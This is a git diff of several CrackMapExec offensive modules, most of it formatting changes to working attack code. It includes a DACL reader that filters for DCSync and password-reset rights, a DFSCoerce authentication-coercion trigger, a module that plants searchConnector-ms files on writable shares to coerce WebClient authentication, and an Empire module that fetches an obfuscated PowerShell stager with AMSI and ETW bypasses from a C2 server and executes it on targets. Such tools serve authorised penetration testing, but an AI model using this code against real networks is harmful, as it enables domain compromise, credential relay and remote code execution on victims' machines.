self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName)
except Exception as e:
context.log.fail('Target SID not found in LDAP (%s)' % self.target_sAMAccountName)
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
continue
if self.action == 'read':
if self.action == "read":
self.read(context)
if self.action == 'backup':
if self.action == "backup":
self.backup(context)
# Main read funtion
# Prints the parsed DACL
def read(self, context):
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor['Dacl'])
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
self.print_parsed_dacl(context, parsed_dacl)
return
@@ -342,14 +345,16 @@ class CMEModule:
# This function is called before any writing action (write, remove or restore)
def backup(self, context):
backup = {}
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode('latin-1')
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(self.target_principal_dn)
if not self.filename:
self.filename = 'dacledit-%s-%s.bak' % (
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"), self.target_sAMAccountName)
with codecs.open(self.filename, 'w', 'latin-1') as outfile:
self.filename = "dacledit-%s-%s.bak" % (
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
self.target_sAMAccountName,
)
with codecs.open(self.filename, "w", "latin-1") as outfile:
json.dump(backup, outfile)
context.log.highlight('DACL backed up to %s', self.filename)
context.log.highlight("DACL backed up to %s", self.filename)
self.filename = None
# Attempts to retrieve the DACL in the Security Descriptor of the specified target
@@ -361,22 +366,22 @@ class CMEModule:
_lookedup_principal = self.target_sAMAccountName
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter='(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal),
attributes=['nTSecurityDescriptor'],
searchControls=controls
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
if self.target_DN is not None:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter='(distinguishedName=%s)' % _lookedup_principal,
attributes=['nTSecurityDescriptor'],
searchControls=controls
searchFilter="(distinguishedName=%s)" % _lookedup_principal,
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
try:
self.target_principal = target[0]
except Exception as e:
context.log.fail('Principal not found in LDAP (%s), probably an LDAP session issue.' % _lookedup_principal)
context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal)
exit(0)
# Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName
@@ -385,15 +390,15 @@ class CMEModule:
def get_user_info(self, context, samname):
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter='(sAMAccountName=%s)' % escape_filter_chars(samname),
attributes=['objectSid']
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(samname),
attributes=["objectSid"],
)
try:
dn = self.ldap_session.entries[0].entry_dn
sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
return dn, sid
except Exception as e:
context.log.fail('User not found in LDAP: %s' % samname)
context.log.fail("User not found in LDAP: %s" % samname)
return False
# Attempts to resolve a SID and return the corresponding samaccountname
@@ -407,17 +412,23 @@ class CMEModule:
try:
dn = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter='(objectSid=%s)' % sid,
attributes=['sAMAccountName']
)[0][0]
searchFilter="(objectSid=%s)" % sid,
attributes=["sAMAccountName"],
)[
0
][0]
samname = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter='(objectSid=%s)' % sid,
attributes=['sAMAccountName']
)[0][1][0][1][0]
searchFilter="(objectSid=%s)" % sid,
attributes=["sAMAccountName"],
)[0][
1
][0][
1
][0]
return samname
except Exception as e:
context.log.debug('SID not found in LDAP: %s' % sid)
context.log.debug("SID not found in LDAP: %s" % sid)
return ""
# Parses a full DACL
@@ -426,7 +437,7 @@ class CMEModule:
parsed_dacl = []
context.log.debug("Parsing DACL")
i = 0
for ace in dacl['Data']:
for ace in dacl["Data"]:
parsed_ace = self.parse_ace(context, ace)
parsed_dacl.append(parsed_ace)
i += 1
@@ -450,71 +461,87 @@ class CMEModule:
# - ace : the ACE to parse
def parse_ace(self, context, ace):
# For the moment, only the Allowed and Denied Access ACE are supported
if ace['TypeName'] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_ACE",
"ACCESS_DENIED_OBJECT_ACE"]:
if ace["TypeName"] in [
"ACCESS_ALLOWED_ACE",
"ACCESS_ALLOWED_OBJECT_ACE",
"ACCESS_DENIED_ACE",
"ACCESS_DENIED_OBJECT_ACE",
]:
parsed_ace = {}
parsed_ace['ACE Type'] = ace['TypeName']
parsed_ace["ACE Type"] = ace["TypeName"]
# Retrieves ACE's flags
_ace_flags = []
for FLAG in ACE_FLAGS:
if ace.hasFlag(FLAG.value):
_ace_flags.append(FLAG.name)
parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None"
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
# For standard ACE
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
if ace['TypeName'] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
parsed_ace['Access mask'] = "%s (0x%x)" % (
", ".join(self.parse_perms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask'])
parsed_ace['Trustee (SID)'] = "%s (%s)" % (
self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN",
ace['Ace']['Sid'].formatCanonical())
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
parsed_ace["Access mask"] = "%s (0x%x)" % (
", ".join(self.parse_perms(ace["Ace"]["Mask"]["Mask"])),
ace["Ace"]["Mask"]["Mask"],
)
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
# For object-specific ACE
elif ace['TypeName'] in ["ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE"]:
elif ace["TypeName"] in [
"ACCESS_ALLOWED_OBJECT_ACE",
"ACCESS_DENIED_OBJECT_ACE",
]:
# Extracts the mask values. These values will indicate the ObjectType purpose
_access_mask_flags = []
for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS:
if ace['Ace']['Mask'].hasPriv(FLAG.value):
if ace["Ace"]["Mask"].hasPriv(FLAG.value):
_access_mask_flags.append(FLAG.name)
parsed_ace['Access mask'] = ", ".join(_access_mask_flags)
parsed_ace["Access mask"] = ", ".join(_access_mask_flags)
# Extracts the ACE flag values and the trusted SID
_object_flags = []
for FLAG in OBJECT_ACE_FLAGS:
if ace['Ace'].hasFlag(FLAG.value):
if ace["Ace"].hasFlag(FLAG.value):
_object_flags.append(FLAG.name)
parsed_ace['Flags'] = ", ".join(_object_flags) or "None"
parsed_ace["Flags"] = ", ".join(_object_flags) or "None"
# Extracts the ObjectType GUID values
if ace['Ace']['ObjectTypeLen'] != 0:
obj_type = bin_to_string(ace['Ace']['ObjectType']).lower()
if ace["Ace"]["ObjectTypeLen"] != 0:
obj_type = bin_to_string(ace["Ace"]["ObjectType"]).lower()
try:
parsed_ace['Object type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type)
parsed_ace["Object type (GUID)"] = "%s (%s)" % (
OBJECT_TYPES_GUID[obj_type],
obj_type,
)
except KeyError:
parsed_ace['Object type (GUID)'] = "UNKNOWN (%s)" % obj_type
parsed_ace["Object type (GUID)"] = "UNKNOWN (%s)" % obj_type
# Extracts the InheritedObjectType GUID values
if ace['Ace']['InheritedObjectTypeLen'] != 0:
inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower()
if ace["Ace"]["InheritedObjectTypeLen"] != 0:
inh_obj_type = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower()
try:
parsed_ace['Inherited type (GUID)'] = "%s (%s)" % (
OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type)
parsed_ace["Inherited type (GUID)"] = "%s (%s)" % (
OBJECT_TYPES_GUID[inh_obj_type],
inh_obj_type,
)
except KeyError:
parsed_ace['Inherited type (GUID)'] = "UNKNOWN (%s)" % inh_obj_type
parsed_ace["Inherited type (GUID)"] = "UNKNOWN (%s)" % inh_obj_type
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace['Trustee (SID)'] = "%s (%s)" % (
self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN",
ace['Ace']['Sid'].formatCanonical())
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
else:
# If the ACE is not an access allowed
context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName'])
context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace["TypeName"])
parsed_ace = {}
parsed_ace['ACE type'] = ace['TypeName']
parsed_ace["ACE type"] = ace["TypeName"]
_ace_flags = []
for FLAG in ACE_FLAGS:
if ace.hasFlag(FLAG.value):
_ace_flags.append(FLAG.name)
parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None"
parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute"
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
parsed_ace["DEBUG"] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute"
return parsed_ace
# Prints a full DACL by printing each parsed ACE
@@ -530,57 +557,46 @@ class CMEModule:
# Filter on specific rights
if self.rights is not None:
try:
if (self.rights == 'FullControl') and (self.rights not in parsed_ace['Access mask']):
if (self.rights == "FullControl") and (self.rights not in parsed_ace["Access mask"]):
print_ace = False
if (self.rights == 'DCSync') and (('Object type (GUID)' not in parsed_ace) or (
RIGHTS_GUID.DS_Replication_Get_Changes_All.value not in parsed_ace['Object type (GUID)'])):
if (self.rights == "DCSync") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.DS_Replication_Get_Changes_All.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
if (self.rights == 'WriteMembers') and (('Object type (GUID)' not in parsed_ace) or (
RIGHTS_GUID.WriteMembers.value not in parsed_ace['Object type (GUID)'])):
if (self.rights == "WriteMembers") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.WriteMembers.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
if (self.rights == 'ResetPassword') and (('Object type (GUID)' not in parsed_ace) or (
RIGHTS_GUID.ResetPassword.value not in parsed_ace['Object type (GUID)'])):
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
context.log.fail(
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
# Filter on specific right GUID
if self.rights_guid is not None:
try:
if ('Object type (GUID)' not in parsed_ace) or (
self.rights_guid not in parsed_ace['Object type (GUID)']):
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
context.log.fail(
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
# Filter on ACE type
if self.ace_type == 'allowed':
if self.ace_type == "allowed":
try:
if ('ACCESS_ALLOWED_OBJECT_ACE' not in parsed_ace['ACE Type']) and (
'ACCESS_ALLOWED_ACE' not in parsed_ace['ACE Type']):
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail(
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
else:
try:
if ('ACCESS_DENIED_OBJECT_ACE' not in parsed_ace['ACE Type']) and (
'ACCESS_DENIED_ACE' not in parsed_ace['ACE Type']):
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail(
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
# Filter on trusted principal
if self.principal_sid is not None:
try:
if self.principal_sid not in parsed_ace['Trustee (SID)']:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
context.log.fail(
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
if print_ace:
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.print_parsed_ace(parsed_ace)
@@ -603,7 +619,9 @@ class CMEModule:
elif self.rights == "ResetPassword":
_rights_guids = [RIGHTS_GUID.ResetPassword.value]
elif self.rights == "DCSync":
_rights_guids = [RIGHTS_GUID.DS_Replication_Get_Changes.value,
RIGHTS_GUID.DS_Replication_Get_Changes_All.value]
self.context.log.highlight('Built GUID: %s', _rights_guids)
_rights_guids = [
RIGHTS_GUID.DS_Replication_Get_Changes.value,
RIGHTS_GUID.DS_Replication_Get_Changes_All.value,
]
self.context.log.highlight("Built GUID: %s", _rights_guids)
return _rights_guids
+50 -34
View File
@@ -11,9 +11,9 @@ from cme.logger import cme_logger
class CMEModule:
name = 'dfscoerce'
name = "dfscoerce"
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ['smb']
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -27,20 +27,29 @@ class CMEModule:
LISTENER Listener Address (defaults to 127.0.0.1)
"""
self.listener = "127.0.0.1"
if 'LISTENER' in module_options:
self.listener = module_options['LISTENER']
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
trigger = TriggerAuth()
dce = trigger.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, doKerberos=connection.kerberos, dcHost=connection.kdcHost)
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
)
if dce is not None:
if dce is not None:
context.log.debug("Target is vulnerable to DFSCoerce")
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to DFSCoerce")
@@ -54,9 +63,14 @@ class DCERPCSessionError(DCERPCException):
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'DFSNM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
return "DFSNM SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
else:
return 'DFSNM SessionError: unknown error code: 0x%x' % self.error_code
return "DFSNM SessionError: unknown error code: 0x%x" % self.error_code
################################################################################
# RPC CALLS
@@ -64,55 +78,57 @@ class DCERPCSessionError(DCERPCException):
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
('ServerName', WSTR),
('RootShare', WSTR),
('ApiFlags', DWORD),
("ServerName", WSTR),
("RootShare", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsRemoveStdRootResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
structure = (("ErrorCode", ULONG),)
class NetrDfsAddRoot(NDRCALL):
opnum = 12
structure = (
('ServerName',WSTR),
('RootShare',WSTR),
('Comment',WSTR),
('ApiFlags',DWORD),
)
("ServerName", WSTR),
("RootShare", WSTR),
("Comment", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsAddRootResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
structure = (("ErrorCode", ULONG),)
class TriggerAuth():
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netdfs]' % target)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
#if target:
# if target:
# rpctransport.setRemoteHost(target)
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
cme_logger.debug("[-] Connecting to %s" % r'ncacn_np:%s[\PIPE\netdfs]' % target)
cme_logger.debug("[-] Connecting to %s" % r"ncacn_np:%s[\PIPE\netdfs]" % target)
try:
dce.connect()
except Exception as e:
cme_logger.debug("Something went wrong, check error status => %s" % str(e))
return
try:
dce.bind(uuidtup_to_bin(('4FC742E0-4A10-11CF-8273-00AA004AE673', '3.0')))
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
except Exception as e:
cme_logger.debug("Something went wrong, check error status => %s" % str(e))
return
@@ -123,9 +139,9 @@ class TriggerAuth():
cme_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request['ServerName'] = '%s\x00' % listener
request['RootShare'] = 'test\x00'
request['ApiFlags'] = 1
request["ServerName"] = "%s\x00" % listener
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
if self.args.verbose:
cme_logger.debug(request.dump())
# logger.debug(request.dump())
+85
View File
@@ -0,0 +1,85 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ntpath
class CMEModule:
"""
Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
Module by @zblurx
"""
name = "drop-sc"
description = "Drop a searchConnector-ms file on each writable share"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def options(self, context, module_options):
"""
Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
Module by @zblurx
URL URL in the searchConnector-ms file, default https://rickroll
CLEANUP Cleanup (choices: True or False)
SHARE Specify a share to target
FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents"
"""
self.cleanup = False
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
self.url = "https://rickroll"
if "URL" in module_options:
self.url = str(module_options["URL"])
self.sharename = ""
if "SHARE" in module_options:
self.sharename = str(module_options["SHARE"])
self.filename = "Documents"
if "FILENAME" in module_options:
self.filename = str(module_options["FILENAME"])
self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms")
if not self.cleanup:
self.scfile_path = f"/tmp/{self.filename}.searchConnector-ms"
scfile = open(self.scfile_path, "w")
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
scfile.write("<templateInfo>")
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
scfile.write("</templateInfo>")
scfile.write("<simpleLocation>")
scfile.write("<url>{}</url>".format(self.url))
scfile.write("</simpleLocation>")
scfile.write("</searchConnectorDescription>")
scfile.close()
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
context.log.debug(f"Share: {share}")
if "WRITE" in share["access"] and (share["name"] == self.sharename if self.sharename != "" else share["name"] not in ["C$", "ADMIN$"]):
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.scfile_path, "rb") as scfile:
try:
connection.conn.putFile(share["name"], self.file_path, scfile.read)
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share")
except Exception as e:
context.log.exception(e)
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}")
-83
View File
@@ -1,83 +0,0 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ntpath
class CMEModule:
"""
Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
Module by @zblurx
"""
name = 'drop-sc'
description = 'Drop a searchConnector-ms file on each writable share'
supported_protocols = ["smb"]
opsec_safe= False
multiple_hosts = True
def options(self, context, module_options):
"""
Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
Module by @zblurx
URL URL in the searchConnector-ms file, default https://rickroll
CLEANUP Cleanup (choices: True or False)
SHARE Specify a share to target
FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents"
"""
self.cleanup = False
if 'CLEANUP' in module_options:
self.cleanup = bool(module_options['CLEANUP'])
self.url = 'https://rickroll'
if 'URL' in module_options:
self.url = str(module_options['URL'])
self.sharename = ''
if 'SHARE' in module_options:
self.sharename = str(module_options['SHARE'])
self.filename = 'Documents'
if 'FILENAME' in module_options:
self.filename = str(module_options['FILENAME'])
self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename))
if not self.cleanup:
self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename)
scfile = open(self.scfile_path, 'w')
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write('<description>Microsoft Outlook</description>')
scfile.write('<isSearchOnlyItem>false</isSearchOnlyItem>')
scfile.write('<includeInStartMenuScope>true</includeInStartMenuScope>')
scfile.write('<iconReference>{}/0001.ico</iconReference>'.format(self.url))
scfile.write('<templateInfo>')
scfile.write('<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>')
scfile.write('</templateInfo>')
scfile.write('<simpleLocation>')
scfile.write('<url>{}</url>'.format(self.url))
scfile.write('</simpleLocation>')
scfile.write('</searchConnectorDescription>')
scfile.close()
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']):
context.log.success('Found writable share: {}'.format(share['name']))
if not self.cleanup:
with open(self.scfile_path, 'rb') as scfile:
try:
connection.conn.putFile(share['name'], self.file_path, scfile.read)
context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
except Exception as e:
context.log.fail('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e))
else:
try:
connection.conn.deleteFile(share['name'], self.file_path)
context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
except Exception as e:
context.log.fail('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e))
+107 -39
View File
@@ -5,66 +5,134 @@ import sys
import requests
from requests import ConnectionError
#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class CMEModule:
"""
Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
Module by @byt3bl33d3r
Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
Module by @byt3bl33d3r
"""
name='empire_exec'
name = "empire_exec"
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
supported_protocols = ['smb', 'mssql']
supported_protocols = ["smb", "mssql"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
LISTENER Listener name to generate the launcher for
LISTENER Listener name to generate the launcher for
SSL True if the listener is using SSL/TLS
OBFUSCATE True if you want to use the built-in Obfuscation (that calls Invoke-Obfuscate)
OBFUSCATE_CMD Override Invoke-Obfuscation command (Default is "Token,All,1" and is picked up by Defender)
"""
if not 'LISTENER' in module_options:
context.log.fail('LISTENER option is required!')
sys.exit(1)
self.empire_launcher = None
headers = {'Content-Type': 'application/json'}
#Pull the host and port from the config file
base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port'))
if "LISTENER" not in module_options:
context.log.fail("LISTENER option is required!")
sys.exit(1)
api_proto = "https" if "SSL" in module_options else "http"
obfuscate = True if "OBFUSCATE" in module_options else False
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
default_obfuscation = "Token,All,1"
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
# Pull the host and port from the config file
base_url = f"{api_proto}://{context.conf.get('Empire', 'api_host')}:{context.conf.get('Empire', 'api_port')}"
context.log.debug(f"Empire URL: {base_url}")
# Pull the username and password from the config file
empire_creds = {
"username": context.conf.get("Empire", "username"),
"password": context.conf.get("Empire", "password"),
}
context.log.debug(f"Empire Creds: {empire_creds}")
try:
#Pull the username and password from the config file
payload = {'username': context.conf.get('Empire', 'username'),
'password': context.conf.get('Empire', 'password')}
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
if r.status_code == 200:
token = r.json()['token']
else:
context.log.fail("Error authenticating to Empire's RESTful API server!")
sys.exit(1)
payload = {'StagerName': 'multi/launcher', 'Listener': module_options['LISTENER']}
r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False)
response = r.json()
if "error" in response:
context.log.fail("Error from empire : {}".format(response["error"]))
sys.exit(1)
self.empire_launcher = response['multi/launcher']['Output']
context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER']))
login_response = requests.post(
f"{base_url}/token",
data=empire_creds,
verify=False,
)
except ConnectionError as e:
context.log.fail("Unable to connect to Empire's RESTful API: {}".format(e))
context.log.fail(f"Unable to login to Empire's RESTful API: {e}")
sys.exit(1)
context.log.debug(f"Response Code: {login_response.status_code}")
context.log.debug(f"Response Content: {login_response.text}")
if login_response.status_code == 200:
access_token = login_response.json()["access_token"]
headers = {"Authorization": f"Bearer {access_token}"}
else:
context.log.fail("Error authenticating to Empire's RESTful API")
sys.exit(1)
data = {
"name": "cme_ephemeral",
"template": "multi_launcher",
"options": {
"Listener": module_options["LISTENER"],
"Language": "powershell",
"StagerRetries": "0",
"OutFile": "",
"Base64": "True",
"Obfuscate": obfuscate,
"ObfuscateCommand": obfuscate_cmd,
"SafeChecks": "True",
"UserAgent": "default",
"Proxy": "default",
"ProxyCreds": "default",
"Bypasses": "mattifestation etw",
},
}
try:
stager_response = requests.post(
f"{base_url}/api/v2/stagers?save=False",
json=data,
headers=headers,
verify=False,
)
except ConnectionError:
context.log.fail(f"Unable to request stager from Empire's RESTful API")
sys.exit(1)
if stager_response.status_code not in [200, 201]:
if "not found" in stager_response.json()["detail"]:
context.log.fail(f"Listener {module_options['LISTENER']} not found")
else:
context.log.fail(f"Stager response received a non-200 when creating stager: {stager_response.status_code} {stager_response.text}")
sys.exit(1)
context.log.debug(f"Response Code: {stager_response.status_code}")
# context.log.debug(f"Response Content: {stager_response.text}")
stager_create_data = stager_response.json()
context.log.debug(f"Stager data: {stager_create_data}")
download_uri = stager_create_data["downloads"][0]["link"]
download_response = requests.get(
f"{base_url}{download_uri}",
headers=headers,
verify=False,
)
context.log.debug(f"Response Code: {download_response.status_code}")
# context.log.debug(f"Response Content: {download_response.text}")
self.empire_launcher = download_response.text
if download_response.status_code == 200:
context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'")
else:
context.log.fail(f"Something went wrong when retrieving stager Powershell command")
def on_admin_login(self, context, connection):
if self.empire_launcher:
connection.execute(self.empire_launcher)
context.log.success('Executed Empire Launcher')
context.log.success("Executed Empire Launcher")
+232 -246
View File
@@ -15,6 +15,7 @@ class CMEModule:
Uses LsarLookupNames and NamedPipes to gather information on all endpoint protection solutions installed on the the remote host(s)
Module by @mpgn_x64
"""
name = "enum_av"
